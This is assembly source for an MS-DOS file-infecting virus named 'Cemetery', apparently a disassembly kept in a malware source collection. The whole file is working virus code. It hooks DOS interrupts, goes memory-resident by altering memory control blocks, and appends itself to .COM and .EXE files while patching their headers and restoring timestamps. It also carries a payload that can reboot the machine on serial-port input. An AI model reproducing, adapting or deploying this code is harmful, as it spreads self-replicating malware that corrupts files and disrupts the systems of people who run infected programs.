MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.cemetary.asm
2021-01-12 17:34:47 -06:00

738 lines
17 KiB
NASM

PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ CEMETERY ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 4-Mar-91 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 70h ; (0000:0070=0FF33h)
data_4e equ 72h ; (0000:0072=0F000h)
data_5e equ 84h ; (0000:0084=0E3h)
data_6e equ 86h ; (0000:0086=161Ah)
data_7e equ 90h ; (0000:0090=8Eh)
data_8e equ 92h ; (0000:0092=1498h)
data_9e equ 102h ; (0000:0102=0CC00h)
data_10e equ 106h ; (0000:0106=326h)
data_11e equ 450h ; (0000:0450=184Fh)
data_12e equ 46Ch ; (0000:046C=0C4BCh)
data_13e equ 46Eh ; (0000:046E=10h)
data_14e equ 47Bh ; (0000:047B=0)
data_15e equ 0 ; (0326:0000=6A7h)
data_16e equ 2 ; (0326:0002=70h)
data_17e equ 0 ; (0687:0000=81h)
data_18e equ 1 ; (0688:0001=0FF17h)
data_19e equ 2 ; (06E3:0002=2342h)
data_20e equ 6 ; (06E3:0006=2344h)
data_46e equ 0FBF0h ; (701E:FBF0=0)
data_47e equ 0FBF2h ; (701E:FBF2=0)
data_48e equ 0FC10h ; (701E:FC10=0)
data_49e equ 0FC12h ; (701E:FC12=0)
data_50e equ 0FC14h ; (701E:FC14=0)
data_51e equ 0FC1Eh ; (701E:FC1E=0)
data_52e equ 0FC20h ; (701E:FC20=0)
data_53e equ 0FC26h ; (701E:FC26=0)
data_54e equ 0FC28h ; (701E:FC28=0)
code_seg_a segment
assume cs:code_seg_a, ds:code_seg_a
org 100h
cemetery proc far
start:
data_21 dw 0CE9h
data_22 dw 0C304h
db 23 dup (0C3h)
db 'CEMETERY'
data_24 dw 0C3C3h
data_25 dw 0C3C3h
data_26 dw 0
data_27 dw 0
data_28 dw 0
data_29 dw 0
data_30 dw 0
data_31 dd 00000h
data_32 dw 0
data_33 dw 0
data_34 dd 00000h
data_35 dw 0
data_36 dw 0
db 68h, 0E8h, 55h, 3, 90h, 3Dh
db 4Dh, 4Bh, 75h, 9, 55h, 8Bh
db 0ECh, 83h, 66h, 6, 0FEh, 5Dh
db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h
db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh
db 0, 6Ch, 75h, 5, 80h, 0FBh
db 0, 74h, 3
loc_1:
jmp loc_13
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_6
call sub_7
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],4D4Fh
je loc_7 ; Jump if equal
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_12
db 90h
loc_6:
cmp word ptr [si-2],452Eh
nop
jz loc_8 ; Jump if zero
jmp short loc_5
loc_7:
cmp word ptr [si-2],432Eh
jne loc_5 ; Jump if not equal
cmp word ptr [si-4],444Eh
jne loc_5 ; Jump if not equal
loc_8:
mov ax,3D02h
call sub_5
jc loc_12 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5
mov cs:data_27,cx ; (701E:0129=0)
mov cs:data_28,dx ; (701E:012B=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5
jc loc_10 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_9 ; Jump if not equal
call sub_1
jmp short loc_10
loc_9:
call sub_4
loc_10:
jc loc_11 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_27 ; (701E:0129=0)
mov dx,cs:data_28 ; (701E:012B=0)
call sub_5
loc_11:
mov ah,3Eh ; '>'
call sub_5
loc_12:
call sub_7
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_13:
jmp cs:data_31 ; (701E:0131=0)
cemetery endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
cmp dx,0
jne loc_14 ; Jump if not equal
cmp ax,589h
jae loc_14 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
ret
loc_14:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_17 ; Jump if equal
cmp dx,0
jne loc_15 ; Jump if not equal
cmp ax,589h
jne loc_15 ; Jump if not equal
stc ; Set carry flag
ret
loc_15:
mov dx,bp
mov ax,di
push dx
push ax
add ax,589h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_29,di ; (701E:012D=0)
mov cs:data_30,es ; (701E:012F=0)
mov [si+2],dx
cmp dx,0
je loc_16 ; Jump if equal
inc ax
loc_16:
mov [si+4],ax
pop ax
pop dx
call sub_2
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_24,di ; (701E:0123=0C3C3h)
mov data_25,es ; (701E:0125=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov word ptr data_26,ax ; (701E:0127=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
call sub_3
jc loc_ret_17 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_5
loc_ret_17:
ret
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov cx,4
mov di,ax
and di,0Fh
locloop_18:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_18 ; Loop if cx > 0
mov dx,di
ret
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov ah,40h ; '@'
mov cx,589h
mov dx,100h
call sub_6
jmp short loc_22
db 90h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_4:
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
cmp ax,589h
jb loc_ret_21 ; Jump if below
cmp ax,0FA00h
jae loc_ret_21 ; Jump if above or =
push ax
cmp byte ptr [si],0E9h
jne loc_19 ; Jump if not equal
sub ax,58Ch
cmp ax,[si+1]
jne loc_19 ; Jump if not equal
pop ax
stc ; Set carry flag
ret
loc_19:
call sub_3
jnc loc_20 ; Jump if carry=0
pop ax
ret
loc_20:
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
pop ax
sub ax,3
mov dx,123h
mov si,dx
mov byte ptr cs:[si],0E9h
mov cs:[si+1],ax
mov ah,40h ; '@'
mov cx,3
call sub_5
loc_ret_21:
ret
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
loc_22:
pushf ; Push flags
call cs:data_31 ; (701E:0131=0)
ret
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr
mov cs:data_32,ax ; (701E:0135=0)
mov cs:data_33,es ; (701E:0137=0)
mov ax,3ABh
mov ds:data_7e,ax ; (0000:0090=18Eh)
mov ds:data_8e,cs ; (0000:0092=1498h)
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_35,ax ; (701E:013D=0)
mov cs:data_36,es ; (701E:013F=0)
les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr
mov ds:data_7e,ax ; (0000:0090=18Eh)
mov ds:data_8e,es ; (0000:0092=1498h)
les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_7 endp
db 0B0h, 3, 0CFh, 50h, 53h, 51h
db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h
db 0F7h, 3, 0A3h, 50h, 4, 2Eh
db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h
db 9, 0B9h, 1, 0, 0CDh, 10h
db 0E8h, 34h, 0, 0E8h, 0B7h, 0
db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h
db 4, 0B3h, 7, 0B8h, 7, 9
db 0B9h, 1, 0, 0CDh, 10h, 2Eh
db 0A1h, 0FEh, 3, 0A3h, 50h, 4
db 7, 1Fh
db ']_^ZY[X.'
db 0FFh, 2Eh, 0FAh, 3
data_37 dw 0
data_38 db 10h
data_39 db 10h
data_40 db 0
data_41 dw 0
data_42 dw 0
db 0, 0, 2Eh, 0A1h, 0F7h, 3
db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh
db 0F6h, 6, 0F9h, 3, 1, 74h
db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh
db 80h, 36h, 0F9h, 3, 1, 0EBh
db 0Ah
loc_23:
cmp al,0
jg loc_24 ; Jump if >
xor byte ptr cs:data_40,1 ; (701E:03F9=0)
loc_24:
test byte ptr cs:data_40,2 ; (701E:03F9=0)
jz loc_25 ; Jump if zero
cmp ah,18h
jb loc_26 ; Jump if below
xor byte ptr cs:data_40,2 ; (701E:03F9=0)
jmp short loc_26
loc_25:
cmp ah,0
jg loc_26 ; Jump if >
xor byte ptr cs:data_40,2 ; (701E:03F9=0)
loc_26:
cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' '
je loc_27 ; Jump if equal
db 2Eh
data_44 dw 3E80h
db 0F8h, 3, 0, 74h, 6, 2Eh
db 80h, 36h, 0F9h, 3, 2
loc_27:
test byte ptr cs:data_40,1 ; (701E:03F9=0)
jz loc_28 ; Jump if zero
inc cs:data_38 ; (701E:03F7=10h)
jmp short loc_29
loc_28:
dec cs:data_38 ; (701E:03F7=10h)
loc_29:
test byte ptr cs:data_40,2 ; (701E:03F9=0)
jz loc_30 ; Jump if zero
inc cs:data_39 ; (701E:03F8=10h)
jmp short loc_ret_31
loc_30:
dec cs:data_39 ; (701E:03F8=10h)
loc_ret_31:
ret
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
mov ax,word ptr cs:data_38 ; (701E:03F7=1010h)
mov ds:data_11e,ax ; (0000:0450=184Fh)
mov bh,data_55 ; (0000:0462=0D400h)
mov ah,8
int 10h ; Video display ah=functn 08h
; get char al & attrib ah @curs
mov cs:data_37,ax ; (701E:03F5=0)
ret
sub_8 endp
db 50h, 53h, 51h, 52h, 56h, 57h
db 55h, 1Eh, 6, 33h, 0C0h, 50h
db 1Fh, 81h, 3Eh, 70h, 0, 0AEh
db 3, 74h, 35h, 0A1h, 6Ch, 4
db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh
db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0
db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h
db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh
db 50h, 4, 0C4h, 6, 70h, 0
db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch
db 6, 0FCh, 3, 0C7h, 6, 70h
db 0, 0AEh, 3, 8Ch, 0Eh, 72h
db 0, 0FBh
loc_32:
mov ah,2
int 14h ; RS-232 dx=com1, ah=func 02h
; get char al, ah=return status
cmp al,31h ; '1'
je loc_33 ; Jump if equal
jnz loc_34 ; Jump if not zero
loc_33:
int 19h ; Bootstrap loader
loc_34:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
ret
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
ret
sub_10 endp
db 1Eh, 0E8h, 0, 0
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov ax,4B4Dh
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_35 ; Jump if carry Set
jmp loc_45
loc_35:
pop si
push si
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_53e[si],ax ; (701E:FC26=0)
mov cs:data_54e[si],es ; (701E:FC28=0)
les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr
mov cs:data_51e[di],bx ; (701E:FC1E=0)
mov cs:data_52e[di],es ; (701E:FC20=0)
mov ax,ds:data_9e ; (0000:0102=0CC00h)
cmp ax,0F000h
jne loc_43 ; Jump if not equal
mov dl,80h
mov ax,ds:data_10e ; (0000:0106=326h)
cmp ax,0F000h
je loc_36 ; Jump if equal
cmp ah,0C8h
jb loc_43 ; Jump if below
cmp ah,0F4h
jae loc_43 ; Jump if above or =
test al,7Fh
jnz loc_43 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h)
jne loc_43 ; Jump if not equal
mov dl,ds:data_16e ; (0326:0002=70h)
loc_36:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_37:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_38 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_39 ; Jump if equal
jnz loc_40 ; Jump if not zero
loc_38:
cmp ax,0C2F6h
jne loc_41 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_40 ; Jump if not equal
loc_39:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_42 ; Jump if equal
sub si,3
loc_40:
dec si
dec si
loc_41:
dec si
loop locloop_37 ; Loop if cx > 0
jmp short loc_43
loc_42:
sub si,7
mov cs:data_53e[di],si ; (701E:FC26=0)
mov cs:data_54e[di],ds ; (701E:FC28=0)
loc_43:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,5Ah
nop
jc loc_45 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,59h
stc ; Set carry flag
sbb es:data_19e,bx ; (06E3:0002=2342h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h)
call sub_9
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_9
add ax,ds:data_20e ; (06E3:0006=2344h)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_44 ; Jump if carry Set
sub ds:data_20e,ax ; (06E3:0006=2344h)
loc_44:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,413h
mov cx,589h
inc cx
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z'
mov dx,142h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_5e,dx ; (0000:0084=6E3h)
mov ds:data_6e,es ; (0000:0086=161Ah)
sti ; Enable interrupts
dec byte ptr ds:data_14e ; (0000:047B=0)
loc_45:
pop si
cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0)
jne loc_46 ; Jump if not equal
pop ds
mov ax,cs:data_50e[si] ; (701E:FC14=0)
mov bx,cs:data_49e[si] ; (701E:FC12=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_48e[si] ; (701E:FC10=0)
push ds
pop es
call sub_10
ret ; Return far
loc_46:
pop ax
mov ax,cs:data_46e[si] ; (701E:FBF0=0)
mov cs:data_21,ax ; (701E:0100=0CE9h)
mov ax,cs:data_47e[si] ; (701E:FBF2=0)
mov cs:data_22,ax ; (701E:0102=0C304h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_10
ret
sub_11 endp
code_seg_a ends
end start